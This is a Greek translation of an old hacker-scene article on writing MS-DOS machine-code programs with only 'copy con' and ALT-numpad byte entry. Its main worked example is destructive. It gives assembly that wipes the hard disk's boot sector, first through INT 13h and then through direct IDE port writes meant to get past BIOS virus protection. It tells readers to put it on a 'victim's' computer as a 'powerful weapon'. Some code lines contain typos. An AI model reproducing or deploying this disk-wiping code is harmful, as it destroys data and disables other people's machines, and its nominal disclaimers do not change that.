Προγραμματίζοντας Υπό Αντίξοες Συνθήκες
by Alexey Kalmykov (aka B52) Από τον : Alexey Kalmykov (aka B52)
Μετάφραση στα ελληνικά από τον : \bin\bash ( e-mail: andx@hotmail.com, IRC: irc.box.sk )


ΕΙΣΑΓΩΓΗ
--------

Τί είναι "αντίξοες συνθήκες"; Όταν κάθεστε σε έναν υπολογιστή που έχει 
εγκατεστημένο μόνο το MS-DOS χωρίς μεταγλωττιστές, hex editor, κελύφη, 
αποσφαλματωτές και θέλετε να επαναφέρετε χαμένα δεδομένα, να σβήσετε έναν ιό 
ή να γράψετε έναν καινούργιο, τότε βρίσκεστε υπό "αντίξοες συνθήκες". Οι 
περισσότεροι από τους προγραμματιστές δεν θα μπορέσουν να κάνουν τίποτα και 
οι περισσότεροι από τους διαχειριστές νομίζουν ότι αυτός ο υπολογιστής είναι 
ασφαλής κατά 100%. Αλλά αυτό δεν θα σταματήσει τον πραγματικό hacker...

Έχω επιλέξει το καθαρό MS-DOS για το λειτουργικό σύστημα όπου προγραμματίζω 
επειδή σε μερικές εκδόσεις των Windows υπάρχουν πολλά πράγματα που 
διευκολύνουν αυτή την εργασία ( για παράδειγμα στα Windows 98 υπάρχει 
ενσωματωμένος φυλλομετρητής με VBScript και JavaScript και έτσι μπορείτε 
εύκολα να φτιάξετε έναν hex editor καθώς και άλλα προγράμματα ).

Αυτό το άρθρο θα είναι ενδιαφέρων και για τους νέους hackers αλλά και για 
τους έμπειρους. Το συνιστώ επίσης στους προγραμματιστές, διαχεριστές καθώς 
και σε οποιονδήποτε θέλει να νιώσει το πνεύμα του hacking, το οποίο τώρα 
εξαφανίζεται ταυτόχρονα με την παλιά γεννιά των hackers.



Η ΑΡΧΗ
------

Για να διαβάσετε και να καταλάβετε αυτό το κείμενο το λιγότερο που θα 
χρειαστείτε είναι γνώση του συμβολομεταφραστή και  εμπειρία εργασίας με το 
MS-DOS. Επίσης θα χρειαστείτε τον κατάλογο με τα τις εντολές opcodes των 
x86, τον οποίο μπορείτε να τα βρείτε εδώ στα Elf Qrin Hacking Labs, τον 
πίνακα των κωδικών ASCII αλλα και πολύ ελεύθερο χρόνο.

Πρώτα από όλα χρειαζόμαστε έναν επεξεργαστή κειμένου. Αλλά ο διαχειριστής 
έχει αφαιρέσει ΟΤΙΔΗΠΟΤΕ μπορούσε να μας βοηθήσει. Υπάρχει μόνο ένα πράγμα 
που διαφοροποιεί έναν καλό hacker από οποιονδήποτε άλλον hacker - η βαθιά 
γνώση του αντικειμένου με το οποίο δουλεύει. Εάν δουλεύει με το DOS τότε 
ξέρει τα πάντα για το DOS. Υπάρχει μια ατεκμηρίωτη λειτουργία που ανοίγει 
έναν μικρό επεξεργαστή κειμένου, αλλά αυτό φτάνει. Γράψτε την εξής εντολή 
του DOS :

C:\copy con test.com

Θα ανοίξει τον επεξεργαστή κειμένου. Αυτό είναι το εργαλείο μας. Αλλά ακόμη 
δεν ξέρουμε να γράφουμε προγράμματα σε δυαδικό κώδικα. Εάν κοιτάξετε το 
επίσημο εγχειρίδιο του MS-DOS θα βρείτε την απάντηση. Χρησιμποώντας το 
πλήκτρο ALT και το αριθμητικό πληκτρολόγιο μπορείτε να γράφετε προγράμματα 
σε δυαδικό κώδικα. Πρώτα από όλα ελέγξτε ότι το NumLock είναι ανοιχτό. Τώρα 
πατήστε το ALT γράψτε 195 και αφήστε το ALT. Για να σώσετε και να βγείτε 
πατήστε CTRL-Z και enter. Τώρα εκτελέστε το.

Δεν κάνει τίποτα αλλά και ούτε σταματάει το σύστημα. Εάν μετατρέψετε τον 
κώδικα σε συμβολική γλώσσα θα δείτε ότι το test.com αποτελείται από μια μόνο 
εντολή, την RETN. Όπως ήδη μαντέψατε είναι το opcode της RETN ( 195 == 0xC3 
) και στο δεκαδικό σύστημα είναι το 195.



ΠΡΟΧΩΡΗΜΕΝΑ
-----------

Εντάξει, ήταν εύκολο. Τώρα δοκιμάστε να εισάγετε αυτό :

ALT-180 ALT-09 ALT-186 ALT-09 ALT-01 ALT-205 ! ALT-195 ALT 32 Hi,world!$

Μετά πατήστε CTRL-Z και enter. Είναι προφανές ότι αυτό το πρόγραμμα 
εμφανίζει την φράση "Hi,world!". Ας το μετατρέψουμε σε συμβολική γλώσσα :

     49E0:0100                       start:
     49E0:0100  B4 09                                mov     ah,9
     49E0:0102  BA 0109                              mov     dx,offset 
data_1        ;
     (49E0:0109='Hi !!!!')
     49E0:0105  CD 21                                int     21h             
         ; DOS Services ah=function 09h
                                                                             
         ; display char string at ds:dx
     49E0:0107  C3                                   retn
     49E0:0108  20                                   db      20h
     49E0:0109  48 69 20 21 21 21    data_1          db      'Hi,world!$;  
xref 49E0:0102

Ελπίζω να ξέρετε για την αντεστραμμένη σειρά στις λέξεις μηχανής ( ALT-09 
ALT-01 = 109 ). Επίσης για να σας δείξω την ομορφιά αυτής της μεθόδου, 
χρησιμποποίησα το σύμβολο "!"==0χ21 για να καλέσω το interrupt 0χ21. Έτσι 
γνωρίζοντας τον κώδικα ASCII μπορείτε να κάνετε την ζωή σας πιo εύκολη. Αλλά 
γιατί να χρειαζόμαστε το σύμβολο (20h == ALT-32 == " ") στη διεύθυνση 
49E0:0108 ;

Αυτό είναι το κύριο μειονέκτημα αυτής της μεθόδου. Χρησιμοποιώντας το ALT 
και το αριθμητικό πληκτρολόγιο δεν μπορούμε να εισάγουμε μερικά σύμβολα. 
Παρακάτω είναι μερικά από αυτά :

0,3,6,8,16(0x10),19(0x13),27(0x1b),255(0xFF)

Πρέπει να αποφεύγετε αυτά τα σύμβολα. Εάν κοιτάξετε τον κώδικα θα δείτε ότι 
το πραγματικό offset είναι το 0χ108. Αφ' ότου προσθέσαμε το σύμβολο, το 
offset έγινε το 0χ109. Υπάρχει και ένας πιο κομψός τρόπος για να το κάνετε :

mov    dx,109
dec    sx

Αυτοί οι δύο εναλλακτικοί τρόποι έχουν το ίδιο αποτέλεσμα ( dec dx == 1 byte 
) και μπορείτε να διαλέξετε όποιον σας αρέσει.

Ένα από τα κύρια προβλήματα είναι η εύρεση των offset για τις μεταβλητές και 
τις ετικέτες. Μπορείτε να γράψετε το πρόγραμμα στο χαρτί δίνοντας στις 
μεταβλητές συμβολικά ονόματα και μετά το πρόγραμμα θα είναι έτοιμο καθώς θα 
είναι έτοιμο να βρείτε τα offset και τις διευθύνσεις. Ένας άλλος τρόπος 
είναι να δηλώσετε όλες τις μεταβλητές πριν από την χρήση τους :

	    mov      ah,9
            jmp      sort $+20
            db       'Hi,world!'$
            mov      dx,0x100+2+2; 0x100 - the base adress,2 - length of
                                 ; mov  ah,9, 2 - length of jmp

Η εντολή jmp short $+20 κρατάει 20 bytes για την συμβολοσειρά. Αυτή η 
μέθοδος θα μπορούσε να χρησιμοποιηθεί και για τις ετικέτες.


ΤΟ ΠΑΡΑΔΕΙΓΜΑ
-------------

Νομίζω ότι έχετε κουραστεί από αυτά τα θεωρητικά προγράμματα και είστε 
έτοιμοι να εφαρμόσετε την μέθοδο στην πράξη. Σαν παράδειγμα, θα 
προσπαθήσουμε να φτιάξουμε ένα πρόγραμμα που να σβήνει το boot sector. 
Προσοχή! Η χρήση αυτού το προγράμματος για να καταστρέψετε δεδομένα είναι 
έγκλημα. Θα πρέπει να το χρησιμοποιήσετε μόνο για πειραματικούς σκοπούς.

Πρώτα ας το γράψουμε στον συμβλομεταφραστή :

     B80103   mov   ax,00301
     B90100   mov   cx,00001
     BA8000   mov   dx,00080
     CD13     int   013
     C3       retn

Όπως βλέπετε έχουμε ένα #0, ένα #9 και ένα #19. Ας μετατρέψουμε το πρόγραμμα 
ώστε να τα αποφύγουμε :

	      xor ax,ax
              mov ds,ax
              mov   ax,00299
              inc   ax
              inc   ax
              xor   cx,cx
              inc   cx
              mov   dl,80
              mov bx,13h*4
              pushf
              cli
              push cs
              call dword ptr [bx]
              retn

Είναι όντως ένα δύσκολο παράδειγμα. Ο προγραμματισμός σην συμβολική γλώσσα 
και με τα interrupts δεν είναι το θέμα αυτού του άρθρου. Το μόνο που μπορώ 
να κάνω είναι να σας παραπέμπψω σε αναφορές για αυτό το θέμα, κάτι που 
μπορείτε εύκολα να βρείτε στο Διαδίκτυο.

Αυτό είναι όλο : Βάλτε το στον υπολογιστή του θύματος και έχετε ένα 
πανίσχυρο όπλο. Σας συνιστώ να το χρησιμποιήσετε με προσοχή.

Ευτυχώς ή δυστυχώς ( ανάλογα με τον προσανατολισμό του αναγνώστη ), στο BIOS 
υπάρχει μια προστασία κατά της εγγραφής του boot sector ( μερικές φορές 
λέγεται "Προειδοποίηση για ιό" ). Αυτή θα εμποδίσει κάθε προσπάθεια για την 
τροποποίηση του boot sector. Υπάρχει και κάτι άλλο όμως, μπορεί να 
εγκατασταθεί ειδικό λογισμικό. Για παράδειγμα, το πρόγραμμα αυτό δεν θα 
κάνει τίποτα εάν εκτελεστεί στο λειτουργικό σύστημα Windows 98. Αλλά ακόμη 
μπορούμε να εργαστούμε σε ένα χαμηλό επίπεδο με τις Θύρες I/O του σκληρού 
δίσκου.

Παραθέτω ένα παράδειγμα ενός προγράμματος που σβήνει το boot sector μέσω των 
θυρών I/O :

	      mov dx, 1F2h
              mov al,1
              out dx,al
              inc dx
              out dx,al
              inc dx
              xor ax,ax
              out dx,al
              inc dx
              out dx,al
              mov al, 10100000b
              inc dx
              out dx,al
              inc dx
              mov al,30h
              out dx,al
              lea si, Buffer
              mov dx, 1F0h
              mov cx, 513
              rep outsw

Δεν ξέρω κάποια γνωστή προστασία η οποία μπορεί να εντοπίσει και να 
εμποδίσει αυτό το πρόγραμμα. Ωστόσο αυτό δεν αφορά τα Windows NT, αυτό το 
λειτουργικό σύστημα δεν θα επιτρέψει σε κανένα πρόγραμμα χωρίς τα απαραίτητα 
δικαιώματα να δουλεύει με θύρες, και ακόμη περισσότερο θα κλείσει το 
παράθυρο του προγράμματος αυτού!

Την προετοιμασία αυτού του προγράμματος για εισαγωγή του με το ALT και την 
βελτιστοποίηση του μεγέθους την αφήνω σαν πρακτική εξάσκηση του αναγνώστη.



ΤΕΛΟΣ
-----

Δεν είναι εύκολο. Απαιτείται πολύ εμπειρία και ταλέντο αλλά σας δίνει 
απίστευτη δύναμη σε έναν υπολογιστή. Ελπίζω ότι δεν θα χρησιμοποίησετε αυτή 
την δύναμη για καταστροφή καθώς επίσης και ότι αυτό το άρθρο θα αποτελέσει 
ένα βήμα πίσω προς το "αυθεντικό πνεύμα του hacking".